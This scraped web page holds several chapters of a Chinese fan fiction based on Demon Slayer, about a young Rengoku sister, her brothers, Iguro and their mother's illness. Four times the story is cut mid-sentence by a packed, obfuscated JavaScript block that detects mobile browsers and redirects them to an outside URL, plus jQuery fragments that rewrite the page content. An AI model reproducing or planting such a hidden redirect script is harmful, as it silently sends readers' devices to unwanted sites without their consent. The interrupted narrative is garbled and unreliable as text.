l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16983706|193099||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
黑哥哥听到这些话,都是她的错。
优子僵硬了半刻,在赤色的双瞳中移开视线,触及到她后面的人,不祥的异色眼眸,恐惧和愤怒一齐涌上来。
她无暇和真希纠缠,径直冲向一开始的目标。
真希一看,也不知道哪里来的力气,牢牢挡住了她,固执的重复两个字:“出去!”
“放开!”优子伸手去拽,没拉开。
见她上了手,小芭内顾不得那么多,三两步冲上去,抓住优子的手腕,冷冷道:“放手。”
女孩显然更激动了。
拉扯间,真希在对方腰部用力一推,优子摔了出去,她倒向另一边,右手重重磕在石头上,一道清晰划破皮肤的撕拉声,石头尖留下一团血迹。
“在吵什么呢……真希?!伊黑?”杏寿郎一来,映入视线的就是这乱成一团的场面。
“妹妹!”千寿郎匆匆跑到真希身边扶住她。
杏寿郎紧接着在她旁边蹲下,小芭内围过来查看情况,镝丸也伸长了身体。
“你……你流血了……”千寿郎眼前蒙上一层雾气,觉得手掌隐隐作痛。
红色液体顺着手腕一滴一滴落下,空气中有淡淡的血腥味。
真希咬着唇没哭,划得太快,她甚至没有感觉到痛。
“伤口不深,别怕。”杏寿郎检查一遍,下了判断。
仿佛是要回应他的话,血液滴落的速度在变慢。
小芭内没有犹豫,垫了块干净的纱布伸手按住。
“要叫医生吗?”千寿郎紧张看了看哥哥,立刻低头问真希:“是不是很痛?”
往日扯掉几根头发都要心疼半天的人,此刻只是缩在千寿郎怀里,沉默摇摇头。
杏寿郎侧头和小芭内对视一眼,从对方的眼中看到一丝歉意,他安抚地笑了笑,叮嘱道:“千寿郎,真希就先拜托你了。”
“我知道了!”千寿郎更努力的抱住妹妹。
杏寿郎起身,看向慌张整理衣服的优子。
他习惯性的发出一声意义不明的‘唔姆’,说道:“虽然不知道是怎么回事,但——”
“把我的妹妹弄成这样的罪魁祸首就是你吧。”
空气的温度忽然冷下来,没了笑容的脸,天然就多了几分压迫。
杏寿郎将手环在胸前,连眼睛里都是一片暗色,良好的教养让他保持着还算端正的仪态。
“刚才,”他再度开口:“我似乎听见了我的妹妹''请''你离开。”
优子身体一抖,不寒而栗。
“如果再不走的话——”杏寿郎别有意味的顿了顿,眼皮轻轻下压:“待会儿她要是改了主意,我也不能保证结果会怎样。”
她不敢再出声,低着头逃命似的往外跑。
离开前,优子最后望过来一眼,真希不自觉绷紧身体,握起拳头,合上的手指碰到正给她按住伤口指尖。
她愣了愣,视线中剩下熟悉的三人,仿佛整个人回过神来,手掌开始感觉到疼,情绪的余波断断续续扑上来。
她很难过,却没法顺利的哭出来。
“唔姆,血止住了呢!”杏寿郎神色恢复如常,弯腰摸摸她的头以示安慰,对小芭内和千寿郎道:“先带她去处理伤口,我出去一下,马上就回来。”
14.家人2
等杏寿郎弄清楚来龙去脉回来,三人还在原地。
千寿郎抱着当缩头乌龟的真希,小芭内从左到右,从右到左,就是不见她抬头。
两人轮番上阵,轻声细语哄着。
“我们先去给伤口消消毒好不好?”
“坏人已经走了,我们去把弄脏的衣服换下来好吗?”
“小金鱼饿了……”
无论用什么借口,真希都不为所动。
“哥哥。”见到大哥,千寿郎找到主心骨,投去求助的目光。
“真希。”杏寿郎的手掌在她后背拍了拍,小乌龟动了动。
“犯了错就逃避,可不是什么好习惯。”
他继续说:“再遇到这种事,知道该怎么办吗?”
真希沉默。
小芭内眼神微动,似乎有话要说。
杏寿郎对他轻轻摇了下头,没有阻碍把人抱到怀里:“如果有想要保护的人,只有自己变强,才能亲手把带来伤害的人赶走。”
真希攥着杏寿郎胸前的衣服,汲取到些许勇气,垂着目光朝向小芭内,闷声道:“对不起……”
小芭内靠近两步,正要说话。
真希不敢看他,又把头埋了回去。
空气里响起一声干巴巴的‘没关系’。
“唔姆!没什么大不了,大家还是最喜欢你的!”杏寿郎大声道,仿佛这个小插曲,与她平常偷懒耍赖的小问题没什么两样。
折腾半晌,总算顺利给真希的伤口清理上药,换上干净的纱布。
她抿着唇,从受伤到包扎,全程都没喊过一句痛,目光也不抬,怎么看都不对劲,问什么都一味摇头。
回到房间,小女孩一言不发就把三个人关在外面。
千寿郎眉头皱成一团,担忧地叫了两声。
“要找哥哥的话,随时都可以,知道了吗!”留下这句,又等了几秒,杏寿郎带着他们离开。
小芭内看了看后面寂静的长廊和一步三回头的千寿郎,问道:“发生的事情,你知道了?”
“唔!差不多,我去友好的问候了那个人。”
是他理解的那个友好吗?小芭内忍不住怀疑,他接着说:“今天,也不算是真希的错……”
说是他带来的问题都不为过,他并不想接受这份道歉。
“她认定是自己的错,这种时候,告诉她‘不是你的错’,也没有用,她更想知道该怎么办。”杏寿郎停下脚步。
“真希是个有个主见的孩子,她会坚强起来的。”
“还有你,伊黑。”他看向小芭内,直率的视线仿佛有看透人心的温度:“相信自己,你的选择也没有错,记住现在的家人,是我们!”
……
真希躲起了所有人,她从来不知道,犯错是这么可怕的一件事。
她没有看漏,伊黑哥哥眼中一闪而过的受伤,每次想到,她就不敢看那双漂亮的眼睛。
都是她太任性了,她伤害了伊黑哥哥吗?如果她也让伊黑哥哥难过了,那她是不是也变成了一样的坏人?
真希想问,但时间越久,她越是胆怯,干脆把自己藏起来。
明明记得逃避是不行的,上课和训练还是几天没去了,她索性连杏寿郎和千寿郎也一起避着,似乎这样就永远不会被讨厌。
门被敲响,外面响起熟悉的声音。
真希迅速捂好被子的缝隙。
“我进来了。”见里面没有动静,小芭内拉开门进去,果不其然看见在中间鼓起的‘蚕蛹’。
没有预想过,会有人因为他的事情,在意到这种程度。
没了她吵吵闹闹带着人四处乱跑,偌大的宅邸都安静不少。
虽然瑠火夫人说,解铃还须系铃人,可真希把自己关在房间,只要他进去就把自己裹得严严实实是什么意思?
“真希。”小芭内戳戳鼓鼓囊囊的被褥,里面的人不动如山。
他试探着问道:“镝丸说……想你了,能不能出来陪它玩呢?”
小白蛇配合地上下摆动脑袋。
“……”
‘蚕蛹’动了动,裹得更紧了。
空气沉寂了片刻,小芭内阻止想擅自溜进去的镝丸,继续开口:“已经好几天了,还在生气吗?”
“……”
“是在生那个人的气,还是……我的?”
“……”
“要不……我给你讲个故事,你再决定要不要继续生气?”
‘蚕蛹’又蠕动了两下,哗啦一声破壳而出,被子下的脸闷出不正常的红。
“呼——”真希憋到极限,深深吸了口气,掀起眼皮瞥了一眼,就低下头去。
躲回去又不知道他要待多久,真希抱起膝盖蜷成一个椭圆,小声道:“我不要听。”
她什么都不想听,她要在这里待到变成老婆婆。
“……如果我说是我的故事,也不想听吗?”
轻轻柔柔的声线,那天的回忆清晰到每一个字都记得一清二楚,真希无处发泄的情绪也跟着上涨。
她猛地抬头:“不听不听,反正你只会说没关系!”
房间内回荡着她刺人的声音,真希自己也被吓到了,不是的,她想说的不是这个。
她张了张嘴,发现脑子里空
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16987537|193099||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
空如也,如果上课没有偷懒,如果认识的字再多一些,是不是就能用合适的话说出真正的想法。
视野里的一侧膝盖抬起半寸。
怎么办?伊黑哥哥要走了吗?真希手忙脚乱站起来,同一个姿势维持太久,腿一软,直直往下摔。
和地面亲密接触的前一秒,身体被稳稳接住。
“不听就不听,冒冒失失的。”
小芭内扶着她坐好,叹了口气:“我知道,你不是故意的,这次不是,上次更不是。”
“我看起来像是一点理解力都没有的人吗?”上次这么无奈还是上次。
即便偶尔会做出一些出乎意料的举动,他也不至于要疑虑这真希是不是有什么坏心眼。
“我就坐在这里,你想表达什么,慢慢想,慢慢说。”
真希呆滞着,视线逐渐朦胧,迟到眼泪,终于落下来。
她是要道歉的,生气的对象,一直是自己。
哇的一声哭开,真希扑进对面人的怀里,抽抽噎噎一个字一个字往外蹦:“对……对不起,把那个人带回了家。”
“没关系。”
“对不起,让你听到那些话。”
“没关系。”
“对不起,刚才凶了你。”
“没关系。”
“对不起,让你伤心了,不……不要听那个坏姐姐的。”真希抬起头吸了吸鼻子:“伊黑哥哥很好。”
“我没有伤心,不会听她的,真希也很好。”
真希说一句,他就答一句。
汩汩冒出的眼泪没有停下来的意思,真希胡乱抹了抹。
她苦想半晌,哽咽着开口:“不是杀人凶手,等我长大了给你买更多好看的衣服。”
一字一字反驳着那段她不认同的话。
落下最后一句:“我喜欢伊黑哥哥笑。”
“我也喜欢真希笑,所以不要哭了。”小芭内伸手擦去她脸上的泪痕,泪水冲刷后,她的眼睛似乎更加明亮。
憋了几天的气终于一吐为快,真希神清气爽,肚子咕噜叫了一声。
小芭内:“去吃饭吧,杏寿郎和千寿郎都在等你。”
“对了!”真希咋咋呼呼窜起来,伸长手臂抱住他的腰,重重吸了口气,说话带着浓重的鼻音:“我闻过了,不脏。”
又觉得不够似的,抓着他的手放在自己头顶:“随便摸!”
小芭内被她的动作弄得哭笑不得,配合地摸摸手掌下有点炸毛的头发。
静了一会儿,他突然问道:“倘若……真的有人因为我死去了呢?”
真希微微抬头,一脸天真。
15.讨厌的味道
“你们关系什么时候这么好了?”
真希跟在小芭内身后,闹了这一场,她突然觉得不好意思,拽着小芭内的衣袖挡住半张脸:“一直关系都很好。”
“那真是太好了!”杏寿郎赞叹道。
“那么,”他话锋一转,笑眯眯问:“和哥哥比起来,和谁更好呢?”
真希无意识卷着手中柔软的布料,抬头看看,再往前看看,这个真是一个难以抉择的问题。
另外几个人却没有放过她,接二连三发问。
“和爸爸比起来呢?”
“和我比起来呢?”
真希转起蚊香眼,视线从这个转到那个,再从那个转到这个。
连瑠火也来插上一句:“和妈妈比起来呢?”
她果断抛下几个人,躲去母亲身后,宣布答案:“和妈妈第一好。”
无人辩驳。
真希从龟壳里钻出,回归了日常生活,没有人再提那天的事情,变化却在悄无声息发生。
她不再需要有人看着,嘴里的话题从吃喝玩乐换成每日所学的内容,甚至偶尔突发奇想的问题,哥哥们也答不上来。
真希每天一边嘟囔累,一边不缺席任何一场训练,认真的那股劲,越来越像杏寿郎。
她身体还未完全锻炼起来,总是青一块紫一块,磕破的伤口刚长好不久,就添上了新伤。
“痛!”她瑟缩了一下手掌,上面刚磨破两个血泡。
小芭内捏住棉球的手一顿,抬眼看她:“不听从安排休息,就别喊痛。”
上药的动作却明显缓和不少。
镝丸顺势沿着手臂一路向上,它偶尔会盘在真希的小臂上,充当别致的大手环,猝不及防在脖子上绕了一圈,真希不太适应,只觉得痒。
伤口的地方也是疼中带痒,她控制不住笑起来,身体不老实的晃动。
小芭内无从下手,忍无可忍,瞪过去一眼:“你们俩,安分点。”
真希闭上嘴,一人一蛇规规矩矩坐好。
“辛苦了,伊黑,要换我来吗?”杏寿郎走过来径直坐下,旁边跟着动作如出一辙的小猫头鹰。
“不用,马上就好了。”小芭内动作未停,最近真希努力过头,倔劲上来又不肯听劝,不经意就被她转移话题忽悠过去,从生疏到熟练,多亏她提供了多多的实践‘机会’。
处理完毕,小芭内盯着那双面目全非的手,真希正在褪去往日被娇惯的模样,而他还停留在原地。
“伊黑哥哥,好了吗?”真希催促道。
小芭内回神:“好了,别碰水。”
“知道啦!”她没事人似的起身,说着就去拉千寿郎:“哥哥,今天有什么好吃的?”
手指刚碰到他的手背,就被躲开了,真希疑惑:“哥哥?”
千寿郎意外点亮了厨艺上的技能,小小的他还做不了太多,但还是会偶尔挤出时间来给他们准备下午茶。
千寿郎目光闪烁,握紧了拳头:“我……我去拿就好了。”
“我也想去。”
真希而再次尝试,他没躲,却也不肯松开拳头,看起来有点为难。
“千寿郎,”真希眯起眼睛,环起手……被阻止,她飞快瞄了眼小芭内,重拾打断的节奏:“你在隐瞒什么?”
“没……没有。”他磕磕巴巴站起来,试图逃跑。
“骗我。”真希没有犹豫下了判断,“我要看!”
“真的——”
两人扭在一起,一个追,一个跑,还挂着一个看戏的镝丸。
“哥哥!”真希挥手求助,没有听到回应:“大哥!”
她转过头再次喊道:“杏寿郎!”
直呼其名,给千寿郎惊得僵在原地,大大小小的脑袋纷纷转向她。
真希也是第一次这样叫他,掩饰般咳嗽一声,气势顿时弱下去,低声碎碎念:“为什么不理我?”
“唔姆!什么事?”杏寿郎收回直视前方的视线,仿佛并未发现刚才是谁叫了他的名字,见大家都在看他:“我脸上有东西吗?”
“杏寿郎,是不是太累了?”小芭内问道。
他们看到的杏寿郎,总是精神饱满,像一个可靠的引领者,有他在,就觉得安心,那副样子,会让人容易忽视,这个人真正的情感变化。
“完全没有,我还差得远呢!”他肯定道,看向真希:“怎么了?拿点心要我帮忙吗?”
“不是……”真希回神,只觉得气氛说不出的奇怪,余光悄悄睨了一眼,眼疾手快伸手,得意道:“抓住了!”
费劲巴拉总算让千寿郎打开了藏着的手心,一手伤痕,与她比起来,有过之而无不及。
至少她的有被护理过。
真希睁大眼睛,气不打一处来:“没事?为什么不说?”
“我是男子汉,这点小伤……”千寿郎耷拉着眉头,用力抽回手。
真希没来得及避开的指甲在掌心擦过,留下淡红色的痕迹,她看得跟着痛了一下,不想再听他解释,恶狠狠出声:“千寿郎!要是敢跑掉,就别想我再跟你说话。”
千寿郎停在原地,手指不断交替变换着上下的位置,小心思暴露的尴尬,让脸色渐渐红起来,他依旧不语。
“要赶紧清理一下了,这个天气,要是恶化就糟糕了。”小芭内拿着药过来,皱起眉头,这几人,性格各异,在某些方面又意外地相似。
真希不方便插手,把千寿郎拉回来坐下,让出位置。
“作为长兄,没有注意到,实在是有点失职。”杏寿郎凑近到另一边,接过药瓶:“我来吧。”
真希在后面看着忙忙碌碌的三个人,怎么看都不对劲,她是不是忽略了什么?
……
夜晚,
真希辗转难眠,绑着绷带的地方有些难受。
她受不了踹开被子,拉开门,微凉的风穿进来,稍微驱散了空气中的沉闷。
不知不觉的走到前院的廊下,圆月正盛,光华清亮如水,真希发出一声感叹,熟练地的坐下,晃起双脚。
但她好像长高了,脚尖下垂时,偶尔会碰到地面。
真希缓缓停下,盯着月亮看了半晌,一个人很快感到无聊,默默站起来,准备往回走。
‘哒’、‘砰’
轻微的撞击声在休憩中的世界里清晰可闻。
她屏住呼吸,侧耳倾听,确认了不是水池中竹筒的声音。
真希走走停停,辨别传出来的方向,临近训练场,她听到木刀划破空气——这个家最不缺的声音。
里面的人与她一起出生,一起长大,他们有着最亲密无间的关系。
本该是这样,但是这个人现在偷偷背着她加练!
真希正要出声吓他,触及到和自己手上同款绷带时,涌上来的胜负心化成疑惑。
哥哥他,到底想做什么?
他们之间的不服输,大多是真希单方面挑起的,到最后,千寿郎总会妥协。
真希观察了片刻,绕到柱子后借着夜色掩住身形,幽幽开口:“小朋友,你在做什么呢?”
“!”木刀掉到地上哐当一声,千寿郎环视一周,紧张地捡回木刀,挡在身前:“谁?”
她捂着嘴偷笑,思考下一句话怎么说。
男孩困惑眨眨眼,放松下来:“真希?”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16995227|193099||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>微颤的嗓音轻轻回荡。
“这么快就发现了?”真希露出半只眼睛,整个人依旧藏在阴影里。
“你在哪儿?”
“来找找看吧。”说完,她屏住呼吸,抱住膝盖,靠着柱子。
有脚步和衣服摩擦的声音。
下一秒,灯光骤然亮起,真希被刺得睁不开眼,白光过后,是千寿郎近在眼前的脸。
“哥哥,你耍赖。”她压低了嗓门,刚才的动静不知道有没有吵醒其他人。
千寿郎蹲在她面前,小声问:“你怎么还不睡觉?”
“这应该是我的台词吧。”真希已经忘了自己为什么要跑出来,不过——
“月亮很漂亮,要去看看吗?”她问道。
于是熄了灯后,真希又走了一遍走过的路。
两只就这样偷偷摸摸瞒着其他人坐在廊中,一言不发看月亮。
渐深的夜散发着凉意,真希开始犯困,倒在旁边的人身上,不忘问:“好看吗?”
“好看。”
月光下的影子加深了褶皱,是真希把身体的重量都压了上去,闭上眼睛,冷不丁拉回正题:“为什么大半夜不睡觉跑去练习?”
“……”
脸颊贴住的肩膀起起伏伏,真希还是没能等到回答。
她撑不住了,在立刻回房间睡觉和待在这里的纠结中,选择躺平,含糊不清问:“哥哥……能背我回去吗?”
也不知道对方有没有听到,好一会儿都没有动静。
真希打了个哈欠。
“真希,我是不是太没用了?”千寿郎轻声问,妹妹的成长让他更快的认识到,在炼狱家引以为傲的剑术上,他或许并没有天分。
他没有哥哥的天赋,也没有妹妹讨人喜欢。
“什么?”真希听到不太好的语气,勉强睁开眼抬头,刚好看到他脸上的愁容。
“我好像是一个没有才能的人。”这样下去,无论是保护妹妹,还是继承炎之呼吸,他都做不到。
“哥哥,你在担心什么吗?”真希摊开手,和他的放在一起,从前一模一样的两只手,因为受伤的程度不同,已经有了差别。
“会不会某一天……我就被抛下了?”千寿郎没有看她。
“那——”这一声有点大,真希急忙收住,肯定道:“绝对不可能。”
“哥哥才不是没有用的人,做的点心很好吃。”她点点头,一副回味无穷的样子。
“这种事,又帮不上忙,要是能再变强一点就好了。”
“每次肚子饿的时候都能帮上大忙不算吗?”真希一本正经问。
“……”
她嘿嘿一笑:“才能什么的,我也不明白,但是我是为了能够保护哥哥你们才这么努力的,不应该夸夸我吗?”
擅自隐瞒烦恼,弄伤自己……决定了,第一个目标就是千寿郎!变强到让哥哥不敢再反抗她。
“我对哥哥的喜欢,又不会因为你变强或变弱而改变。”
真希实在忍不住了,主动拉起他往里走:“我们去睡觉,再发呆,我马上就要超过你了。”
……
第二天,两人都顶了一双大大的熊猫眼,面面相觑,同时笑起了对方。
“一大早就这么开心?”瑠火走过来蹲下,摸摸两人的头:“昨天晚上做了什么?”
真希抱住她打岔,转移话题。
没一会儿,她鼻尖动了动,松开手,问道:“妈妈,你在吃药吗?”
那一丝药气,她之前隐约闻到过,一直以为是自己身上的,而现在,她无比肯定,从母亲身上传出来的,是幼时朦胧记忆中最讨厌的味道。
16.病况
医师出入得越发频繁,看诊的结果,真希无从得知,父亲每次出去都开始更加急切的赶回来,但他们还是被瞒着。
差点晕倒后,瑠火不得不开始卧床休养,真希和哥哥们多了陪床照顾的日常。
尽管父亲和母亲什么都没说,甚至偶尔还在安慰他们,但瑠火的病气已经遮掩不住了。
真希隐隐有所察觉,可她还记得,曾经自己也吃过很长时间的药,只觉得时间还不够长,或许再等等就好了。
等到一个月、三个月……一年,总有一天,母亲还会恢复成原来的样子。
直到某一天过后,大哥的脸色也逐渐凝重起来,他们聚在一起的午后,母亲没有睡,旁边放着刚喝完的药,房间里剩下他们三个。
“杏寿郎,千寿郎,真希。”瑠火张开手,呼唤他们。
杏寿郎调整身位,靠近了些,目光微动,仿佛对接下来要发生的事情有所预感,他已经经历过类似的场景。
真希顺势上前抱住,她是三人中抱瑠火次数最多的人,空荡荡的衣摆下,摸到硌人的骨骼。
她迷茫的松开手,坚信母亲会好起来的信念产生了微弱的动摇,如果不能好起来,会怎么样?
千寿郎坐在另一侧,没有打扰两人的互动,可哥哥把他往前送了送,然后在他无措地看过去时,安抚一笑。
瑠火一左一右抱了抱他们,轻抚着两人的头,神情一如往日,温和坚毅。
“千寿郎,真希,你们的梦想是什么呢?”
真希脱口而出:“要打败坏人,做能够保护大家的「勇者」大人。”
千寿郎小心的看了一眼:“我……我不知道,只想和家人永远在一起。”
“那听起来也不错,”瑠火弯起唇角:“好好成长为了不起的大人吧,记得要和哥哥互相帮助。”
她侧头:“抱歉,杏寿郎,许多许多的事情,都要拜托你了。”
真希脑子里轰的一声,不祥的预感涌上来。
没有能做的了吗?她想起了一个人,或许会有办法的一个人。
在迷茫或悲伤的目光中,真希冲了出去。
……
真希跑进产屋敷宅的时候,没有受到阻拦。
“耀哉哥哥!”
耀哉坐在桌前,手上的笔尖一顿,写完了这一页,才转头看过去:“好久不见,真希,今天也是一个人吗?”
在他对面挽着袖子的天音,收起纸张后起身:“过来玩吗?稍等一下,我去拿茶和点心。”
不知是不是错觉,天音的动作似乎有点笨重。
可真希顾不上那么多了,她跑得上气不接下气,冲到两人面前:“耀哉哥哥,天音姐姐,我有事想拜托你们!”
耀哉和天音对视一眼,伸手摸摸她的头:“喝杯水,慢慢说吧。”
真希摇摇头,将瑠火生病的事情,一股脑倒了出来,看向他们的眼神期待和害怕并存,拉住耀哉的衣摆像抓住了救命:“耀哉哥哥,能帮帮我吗?”
如果他们也没有办法,真希想不到更厉害的人了。
“天音,”耀哉没有犹豫就开了口:“叫医生去一趟吧。”
“好。”天音转身去找人。
“别怕,”耀哉说道:“一起想办法吧。”
简单的话语里,带着安抚人心的魔力,真希渐渐冷静下来。
她带回了产屋敷家主的医生,据说这位医生家几代人皆服侍产屋敷一族,对于各类疾病颇有经验。
槙寿郎也是第一次见到,对于真希的莽撞行为,他嘴唇翕动,看向病弱的妻子,终究是没有说什么,眼神中带上几分希冀。
等待的过程是煎熬的,几人齐齐坐在外面。
“炎柱大人,请跟我来。”年轻医者唤了一声。
不待走远,槙寿郎低声问:“山田先生,怎么样?”
“……”
真希听到一晃而过的尾音,停下脚步,看向在转角处隐去的背影。
她想了想,悄悄跟在后面,蹲在了屋外的墙角。
“夫人的病很重,我只能尽力减缓痛苦,维持生命。”
“真的……治不好了吗?”最后几个字,槙寿郎挤得尤为艰难。
真希心中一紧,有种捂住耳朵的冲动,却抬不动手。
“很遗憾,现有的药来看的确如此,能维持多久,要看夫人的身体状况。”他父辈就曾为两任主公下过审判,可生命的长短,终究不是能够仅凭医者控制。
空气变得极为滞涩,良久的沉默中,真希红了眼眶,治不好,会怎么样?
肩膀被拍了拍,她回头,杏寿郎食指放在唇上,做了个噤声的动作,同蹲在她旁边,无声安慰。
“那就麻烦您了……至少能让她再坚持久一点。”槙首领向来硬朗的声线里,竟然隐隐带上了哭腔。
杏寿郎了然诊断结果,也猜到了真希听到的内容,接下来,或许大人们会谈论一些更加难以面对的话。
“真希,我们去母亲那边吧。”他劝说道。
“等等,”年轻医生沉思半晌,似乎想到了什么:“有一种药,或许可以试一试。”
闻言,真希猛地抓住了杏寿郎空中的手,几乎同时,杏寿郎收紧掌心。
“……真、真的吗?请务必一试!”槙寿郎听起来比前面更像要哭了。
“但是,这种草药,我现在没有。”他叹了口气。
“在哪里可以找到或是买到吗?无论多少钱,我都可以——”
“炎柱大人,外面的药店不会比产屋敷家更全。”
主公大人都拿不出来的药,在其他地方会更加少见。
“如果去找的话……”
“这正是我要说的,虽然稀少,却不是没有。”医生顿了顿:“传下来的手札里记载,攀缘木生于山地之间,花期极短,要找到,需要一点气运和缘分。”
“我无法亲自去找,但会尽力为夫人争取时间。”
“……谢谢。”
“……”
后面的话,真希没有心思再听,她一心惦记着几个关键字,有一种药能治好妈妈!
医生背起药箱告别,撞见偷听的真希和杏寿郎,对他们友好的笑了笑。
“炎柱大人,就送到这里吧。”
“麻烦您了。”槙寿郎点点头,如果有办法,他恨不得立刻能给妻子用上才好。
目送背影走远,槙寿郎看向两人:“你们都听到了?”
真希还沉浸在得到好消息的喜悦中,没有回应。
“没关系,爸爸会想办法的。”他低声道,像在安慰他们,也像是在对自己说。
真希猛地回神,还不知道能治好妈妈的草药长什么样呢,那含糊的几句话,她想象不出来,蹭地跳起来往外追。
“真希!”
“我去送医生大人!”
……
“药草的图案吗?”
“嗯嗯。”真希点点头,她跑得快,没多久就追上了慢步往回走的医生。
“应该有,等我临摹一份给你,叫人送来吧。”
“我可以过去等吗?绝对不会打扰你的!”真希等不及,信誓旦旦保证。
“好。”作为医生,他能理解病人家属的心情。
真希眼巴巴等着医生画完。
她翻来覆去,一个细节都不放过看了个遍,几乎要背下来,才跑回家拿出来给父亲。
“太棒了!真希。”槙寿郎两眼发亮,有了直观的对照,找起来就方便多了,他一时都没想到。
杏寿郎和小芭内也围上来看。
千寿郎身高不够,踮起脚干着急:“哥哥,我也想看看。”
至少有了希望,加上真希和杏寿郎已然知晓,再瞒下去没有意义。
“我,”卧床已经有了一段时间的瑠火,竟然独自坐了起来,她微微一笑:“能让我看看吗?”
几人一哄而上找到各自的位置,把瑠火围在中间。
“听说花朵有红色和蓝色两种。”
“姆!叶子是三角形的!”
因病痛逐渐沉寂起来的家,总算重新焕发生命力。
……
一家人热火朝天的忙碌起来,尤其是槙寿郎,都是一身狼狈的回来。
换上新配的药,瑠火精神好了不少,逐渐能够独自下地活动,仿佛有一种要就此好起来的错觉。
但仅仅一场雨,就打破了脆弱的假象,她开始发烧。
药草的图
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17000133|193099||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
案被复刻了很多份备着,槙寿郎找的同时,拜托了同僚,消息依旧石沉大海。
真希待不住了,决定要去找那株能救母亲的草药。
她拿走一张图纸,偷偷出门了。
真希到了街道,先找人问清了方位,继续出发。
前进的方向被房子和墙挡住,转了几个弯,第一次独自出去这么远,她似乎走错了。
旁边的建筑不知道是什么,形色各异的人乌泱泱往里走。
真希观望了片刻,找定了目标人物,避开来来往往的人群走进去,礼貌的露出笑:“你好,姐姐……”
后面的话被淹没在巨大‘轰隆’和‘呜呜’声中。
不知谁喊了一声:“列车到了!要乘车的人尽快上车!”
“抱歉,小朋友,姐姐现在没空。”女孩头也不回急匆匆的走了。
“没关系。”尽管对方已经听不到了,真希还是认真回应。
长长方方的大盒子望不到头,她从未见过的巨型物体,上前戳了戳,硬邦邦的。
“喂!谁家的小孩?”驻站的列车员语气不耐,环顾一圈,无人回应:“你父母呢?”
“这个叫车的东西要送去哪里呢?”真希好奇地问。
“我哪有时间跟你解释,”他用更大的声音又问了一遍,怀疑道:“你家人是不是已经上车了?”
“不……”真希正要说没有,车站的警铃发出最后的通告,后面的人突然挤上来加快速度。
推拉间,眨眼就被裹进人群,控制不住跟着人流上了车。
“等等!我不是……”呼喊被嘈杂声掩盖,真希茫然的看着熟悉的景色不断后退。
她好像看见那个叔叔最后紧张的表情了。
……
检票的叔叔跳过了她,真希不知道原因,跟着一车厢的人下来,外面陌生得如同换了一个世界。
人群在岔路口不停的分散,她身侧变得空荡荡。
真希握紧手中的图纸,回头看了一眼,长长街道的两侧飘起炊烟,夕阳挂在正中间。
回去的路,是不是就在更后面?她不知道。
前面会有妈妈的药吗?先找找看好了。
说干就干,真希一头扎进最近的山间。
太阳下山后,天被树叶遮住只剩头顶上的空洞,地被树干覆盖,郁郁葱葱望不到尽头。
她在里面迷失了方向,周围充斥着风沙枝叶的声音,偶有飞禽掠过。
面对即将来临的黑暗,她不可避免有些紧张,无头苍蝇似的转了半天,还是一模一样的景色。
真希找了个山洞躲起来,伸手可触的狭窄空间,让她找到几分安全感。
天气转凉,山上夜晚的气温已经染上寒意,她忍不住打了个喷嚏,搓搓手臂。
然后
外面响起了,粗重,像是野兽般的呼吸,以及踩过落叶的咯吱声。
真希僵住,隔着衣服握上胸前特制的金樱铃——两枚特制的,不会发出声音的铃铛,是她从前生病时,特地从神官大人那里请来的。
那双看起来明显不是正常人类的脚,近在咫尺转了一圈,不知什么原因,又离去了。
她一眨不眨盯着前方,临近天亮才控制不住打了一会儿盹。
好在真希近期没有偷过懒,身体素质好了不少,有惊无险的一夜过去,没有生病。
她终于意识到,漫无目的的乱转,不仅找不到草药,说不定还会把自己变成野人。
真希找到太阳的方向,总算走了出去,没了遮天蔽日的树木,陌生的田野也变得亲切起来。
只过了一个晚上,她就又累又饿。
这里不是她下车后走过的街道,穿过山林到了另一个不知名小镇。
小小的地方人们似乎都互相熟识,热情的打着招呼。
真希一踏进去,就受到了注目礼。
“这孩子……不会是流浪来的吧?”
“说不定是离家出走?那衣服……看起来布料不差。”
有人在和邻舍窃窃私语。
是在说她吗?真希看了看自己的衣服,有点脏,要不要问个路看看?
“那个……”稚嫩的男声在身后响起:“请问需要帮助吗?”
17.历险记1
真希回头看去,比自己高出半个头的男孩,深红色的头发如同冬日燃烧到极致的那团炭火,左额上还有一块醒目的疤痕。
背上的竹筐里装满黑乎乎的东西,真诚关怀的目光几乎要让她幻视某个熟悉的人。
“喂,炭治郎,别随便和陌生人搭话。”原本正闲聊的大婶皱着眉劝道。
旁边的人附和道:“就是,今天只有你一个人吗?炭十郎先生呢?”
